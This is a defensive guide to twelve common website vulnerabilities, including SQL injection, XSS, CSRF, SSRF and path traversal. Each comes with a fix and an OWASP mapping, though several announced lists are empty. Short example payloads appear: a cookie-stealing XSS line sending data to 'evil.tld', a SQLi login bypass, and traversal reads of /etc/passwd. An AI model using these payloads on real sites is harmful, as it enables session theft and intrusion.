12 Types of Website Security Vulnerabilities (and How to Fix Each One)

Knowing the types of website security vulnerabilities is the difference between fixing a flaw on your schedule and cleaning up a breach on the attacker’s. Most successful attacks do not use exotic zero-days; they exploit the same handful of well-documented weaknesses that appear on site after site. This guide breaks down the 12 most common website vulnerabilities, shows how each one is exploited with a real example, maps every one to the OWASP Top 10 (2021), and gives you a concrete fix for every one.

What Is a Website Vulnerability?

A website vulnerability is a weakness or misconfiguration in a web application that an attacker can exploit to read data, change behavior, or take control. It usually lives in one of three places: the code your developers wrote, the server and software the app runs on, or a third-party component you pulled in. Attackers do not care where it sits; they care that it is reachable from the internet and that it is exploitable. Before drilling into web-specific flaws, it helps to place them inside the wider cybersecurity picture.

Security teams generally sort weaknesses into four broad categories. The four main types of vulnerability in cybersecurity are:

The 12 Most Common Types of Website Security Vulnerabilities

These are the flaws that show up again and again in real breaches, ordered roughly by how often attackers exploit them against live websites. For each one you get a plain definition, how the attack actually works, a worked example, and the fix that closes it.

1. SQL Injection (SQLi)

SQL injection happens when an attacker slips malicious SQL commands into an input your application passes straight to its database. The root cause is a failure to separate code from data: the app builds a query by gluing user input into a string, so the database cannot tell your developer’s instructions from the attacker’s. Picture a login form that builds SELECT * FROM users WHERE user='INPUT'. When the attacker types ' OR '1'='1 into the field, the condition becomes permanently true and the password check is bypassed entirely. From that foothold an attacker can read every row, dump credentials and card data, alter or delete records, and in some configurations run operating-system commands. Second-order SQLi is nastier still: the payload is stored first, then triggered later when a trusted internal query reuses it, so filtering input on the way in is not enough on its own. SQLi carries the identifier CWE-89 and sits under OWASP A03: Injection.

How to fix it: Use parameterized queries (prepared statements) on every database call so input is always bound as data, never executed as code. Add allowlist input validation, apply least-privilege database accounts so a single compromised query cannot reach unrelated tables, and rely on your framework’s query builder instead of hand-concatenating SQL.

2. Cross-Site Scripting (XSS)

Cross-site scripting injects attacker-controlled JavaScript into a page so it runs in another visitor’s browser under your site’s origin. Because the script executes with the victim’s session, the attacker can steal cookies, log keystrokes, rewrite the page, or redirect to a phishing clone, all without touching your server’s data. It comes in three forms. Reflected XSS bounces a script off the server from a crafted link the victim clicks. Stored XSS is worse: the payload is saved in your database through a comment, username, or profile field, then fires for every user who loads that page. DOM-based XSS never reaches the server at all, executing through unsafe client-side code that writes user input into the page. A simple proof-of-concept drops <script>new Image().src='https://evil.tld/?c='+document.cookie</script> into a comment box to ship every viewer’s session cookie to the attacker. XSS is CWE-79, under OWASP A03: Injection.

How to fix it: Encode all output in its correct context (HTML, attribute, JavaScript, URL) so input can never render as executable markup, for example converting <script> to its escaped entities. Layer a strict Content-Security-Policy header to block unauthorized scripts, and set the Http Only flag on session cookies so injected script cannot read them.

3. Cross-Site Request Forgery (CSRF)

Cross-site request forgery, sometimes called a confused-deputy attack, tricks a logged-in user’s browser into sending a request the user never intended. The browser automatically attaches the victim’s session cookie, so the application sees a fully authenticated request and acts on it. The classic scenario: a victim is logged into their bank in one tab, then visits a malicious page in another that silently loads an image tag pointing at https://bank.tld/transfer?amount=1500&to=attacker. The browser fires that request with the victim’s cookies attached, and the bank processes the transfer. That example exposes a second sin worth calling out: a state-changing action reachable through a simple GET request. Any action that changes data, such as transfers, password changes, or profile edits, is a CSRF target, and GET requests should never alter server state. CSRF maps to CWE-352 and OWASP A01: Broken Access Control.

How to fix it: Issue an anti-CSRF token, a unique unpredictable value tied to each session, in a hidden field and verify it on every state-changing request. Set the SameSite attribute on cookies so they are not sent on cross-site requests, and re-prompt for a password before especially sensitive changes.

4. Broken Authentication and Session Management

This category covers every flaw that lets an attacker defeat or sidestep how you verify identity, and it helps to separate two ideas people constantly blur. Authentication proves who a user is; authorization decides what that user may do. Broken authentication is a failure of the first. Hand-rolled auth code is where most of these bugs are born, and the pitfalls are many: session IDs exposed in the URL and leaked through the referer header, passwords stored or transmitted without encryption, predictable session identifiers, session fixation, and sessions that never time out so a stolen token works forever. Credential stuffing against a login form with no rate limit turns one leaked password list into thousands of account takeovers. Any of these lets an attacker ride an existing session or simply log in as someone else, which is why authentication bypass so often escalates straight to full account takeover. It maps to CWE-287 and OWASP A07: Identification and Authentication Failures.

How to fix it: Use a proven authentication framework rather than writing your own. Enforce strong password rules and multi-factor authentication (MFA), rotate and expire session tokens, rate-limit and monitor login attempts, and store session identifiers in secure, HttpOnly cookies instead of in the URL.

5. Security Misconfiguration

Security misconfiguration is the catch-all for insecure defaults, incomplete setups, and sloppy server hygiene, and in practice it is one of the most common ways sites get owned because the mistakes are so ordinary. Typical examples: running an app with debug mode enabled in production, leaving directory listing on so attackers can browse your files, keeping default keys and passwords, running unnecessary services, exposing an admin console such as phpMyAdmin, and returning verbose error messages that hand attackers stack traces and version numbers. Each one either opens a door directly or leaks the reconnaissance an attacker needs to find the next door, and a directory brute-forcer will quickly locate the panel you assumed was hidden. It affects every layer of the stack at once: the application, the web server, the database, and the platform. The flaw carries CWE-16 and sits under OWASP A05: Security Misconfiguration.

How to fix it: Build a repeatable, ideally automated, build-and-deploy process that ships a hardened baseline every time. Disable debug mode and directory listing in production, change every default credential, remove unnecessary services, suppress detailed errors, and re-check configuration continuously, since new services drift out of compliance over time.

6. Sensitive Data Exposure and Cryptographic Failures

Renamed cryptographic failures in the 2021 OWASP list, this flaw is the failure to protect sensitive data properly, whether in transit or at rest. It shows up as data sent over plain HTTP, passwords stored in plain text or with fast, crackable hashes, outdated algorithms, secrets and API keys scattered across services, and encryption keys stored right next to the data they protect. The impact is direct and unforgiving: once an attacker reaches a weakly protected data store, the records are readable immediately and instantly usable for identity theft or fraud. Credit card numbers, passwords, health data, and session IDs should never travel or sit unprotected, and session IDs in particular must never appear in a URL. It maps to CWE-311 and OWASP A02: Cryptographic Failures.

How to fix it: Encrypt data in transit with HTTPS (a valid certificate, HSTS, and the secure cookie flag) and at rest with modern algorithms such as AES-256. Hash passwords with a slow adaptive function like bcrypt or Argon2, never store data you do not need, keep encryption keys well away from the data they protect, and offload card data to a payment processor to shrink your exposure.

7. Insecure Direct Object References (IDOR)

An insecure direct object reference exposes an internal identifier, such as a file name, database key, or account number, in a way the user can change, then trusts that value without checking whether the user is actually allowed to access it. It is a specific and extremely common form of broken access control. The textbook case: a URL reads /invoice?id=1043, and the attacker simply increments it to 1044 to read another customer’s invoice. A download.php?file=report.pdf endpoint with no authorization lets an attacker swap the file name to grab application code or backups. A password-reset flow that trusts a username value in the request can be edited to read admin. The request looks completely legitimate, which is exactly why IDOR slips past automated tools and casual log review. It maps to CWE-639 and OWASP A01: Broken Access Control.

How to fix it: Enforce server-side authorization on every object request, confirming the logged-in user owns or may access that specific record, not merely that they are logged in. Prefer indirect references that cannot be guessed by incrementing a number, and hold the user-to-object mapping server-side in the session rather than trusting identifiers passed from the client.

8. Server-Side Request Forgery (SSRF)

Server-side request forgery abuses a server feature that fetches a remote URL, tricking your server into requesting a destination the attacker chooses. Because the request now originates from inside your network, it can reach internal services, admin interfaces, and cloud metadata endpoints that a firewall would block from the public internet. A feature that imports a profile picture from a user-supplied URL is a classic entry point: instead of an image, the attacker supplies a link to an internal metadata address, and the server dutifully fetches cloud credentials on their behalf. The 2019 Capital One breach is the defining real-world case: an attacker exploited an SSRF flaw to reach an internal metadata service, harvested credentials, and exfiltrated data on more than 100 million customers, undetected for months. It maps to CWE-918 and is its own OWASP category, A10: Server-Side Request Forgery.

How to fix it: Treat every user-supplied URL as untrusted. Validate and allowlist the destinations the server may request, block requests to internal IP ranges and cloud metadata endpoints, disable unused URL schemes, and where possible route outbound fetches through a controlled proxy that enforces those rules.

9. XML External Entity Injection (XXE)

XXE targets applications that parse XML using a misconfigured parser that resolves external entities. The attacker submits crafted XML that declares an external entity, and the parser obediently reads whatever it points at. A payload defining an entity that references file:///etc/passwd causes the server to read that file and return its contents in the response. XXE does not stop at file disclosure: the same trick can open internal network connections (chaining into SSRF), exhaust resources with a runaway entity-expansion attack, or in some stacks reach remote code execution. Because the root cause is an insecure parser default rather than a distinct code bug, OWASP folds XXE under security misconfiguration in the 2021 list. It carries CWE-611.

How to fix it: Disable external entity resolution and DTD processing in every XML parser your application uses, which is a one-time configuration change in most libraries. Where the data model allows it, prefer a simpler format such as JSON that does not carry the external-entity risk at all, and validate any uploaded XML against a strict schema.

10. Vulnerable and Outdated Components

Modern sites are assembled from frameworks, libraries, plugins, and themes, and every dependency can carry a known vulnerability. This is more of a maintenance and deployment problem than a coding one, but it is exploited at enormous scale, because the moment a component publishes a security patch, the accompanying CVE hands attackers a precise roadmap to every site still running the old version. Unpatched WordPress and Drupal plugins are among the most exploited entry points on the web: the flaw is public, the exploit is automated, and directory brute-forcing tools quickly find that forgotten plugin or phpMyAdmin install. Pulling unvetted code from a random repository adds a second risk, since a dependency can be broken or intentionally malicious. It maps to CWE-1104 and OWASP A06: Vulnerable and Outdated Components.

How to fix it: Treat maintenance as part of development. Keep an inventory of every component and version, run automated dependency scanning (software composition analysis) to flag known CVEs, apply security updates quickly, remove libraries and plugins you no longer use, and inspect third-party code before you trust it rather than copy-pasting it in.

11. Path and Directory Traversal

Path traversal, also called directory traversal, lets an attacker step outside the intended folder by feeding navigation sequences into a file-path parameter. When an application builds file paths from user input without sanitizing it, the attacker walks the filesystem to files the web root should never expose. The signature payload uses ../ sequences: a request like ?file=../../../../etc/passwd climbs out of the intended directory and reads system files, and the same technique reaches source code, configuration files, and stored credentials. It is broken access control at the filesystem level, and it is frequently the first move in a longer chain that ends in full compromise. It maps to CWE-22 and OWASP A01: Broken Access Control.

How to fix it: Avoid passing user input into file paths at all where you can, serving files by a fixed internal identifier instead of a name. Where a path must be built from input, canonicalize it and validate the result against a strict allowlist so a request can never resolve outside the intended directory, and run the application with least-privilege filesystem permissions.

12. Insufficient Logging and Monitoring

This is the flaw that turns a small incident into a catastrophic one. When an application does not log security events, or logs them but nobody watches, an attacker operates undetected for weeks or months, escalating access the whole time. It is less an entry point than a force multiplier for every other vulnerability on this list: the SQL injection, the IDOR, and the SSRF all do far more damage when no alarm ever sounds. The numbers make the point, since industry averages put breach detection in the hundreds of days, and most organizations first learn of a compromise from an outside party rather than their own systems. It maps to CWE-778 and OWASP A09: Security Logging and Monitoring Failures.

How to fix it: Log authentication events, access-control failures, and input-validation errors in a consistent, tamper-resistant format. Forward them to centralized monitoring, set alerts so suspicious patterns trigger a fast human response, and test that your alerting actually fires by running periodic attack simulations.

How These Map to the OWASP Top 10 (2021)

The OWASP Top 10 is the security industry’s reference list of the most critical web application risks, maintained by the Open Worldwide Application Security Project. Mapping the 12 vulnerabilities above to the 2021 categories shows how they fit the framework auditors, developers, and scanners all use, and each one carries a Common Weakness Enumeration (CWE) identifier for precise reference.

Two 2021 categories are cross-cutting rather than single flaws: A04 Insecure Design covers weaknesses baked in before a line of code is written, and A08 Software and Data Integrity Failures covers issues such as insecure deserialization, where tampered serialized data drives the application into running attacker-controlled code. Keep both in mind as design-level risks that sit behind several of the specific bugs above.

How Attackers Find These Vulnerabilities First

Attackers find these flaws before you do because they industrialized the search. They do not hand-inspect your site; they run the same automated tooling against thousands of targets and act on whatever lights up. Understanding their sequence tells you where to get ahead of them.

How to Find These Vulnerabilities on Your Own Website

You cannot fix what you have not found, and the good news is that the same techniques attackers use are available to defenders. A layered detection approach combines automation for breadth with human judgment for depth. The core methods to run against your own site are:

Read more: How to Check Vulnerability of a Website Manually? (Step-by-Step)

How to Fix and Prevent Website Vulnerabilities

Most of the 12 flaws above trace back to a small set of secure-development habits. Apply these consistently and you close the majority of the attack surface without needing to memorize every individual exploit. The core preventive controls are:

Common Questions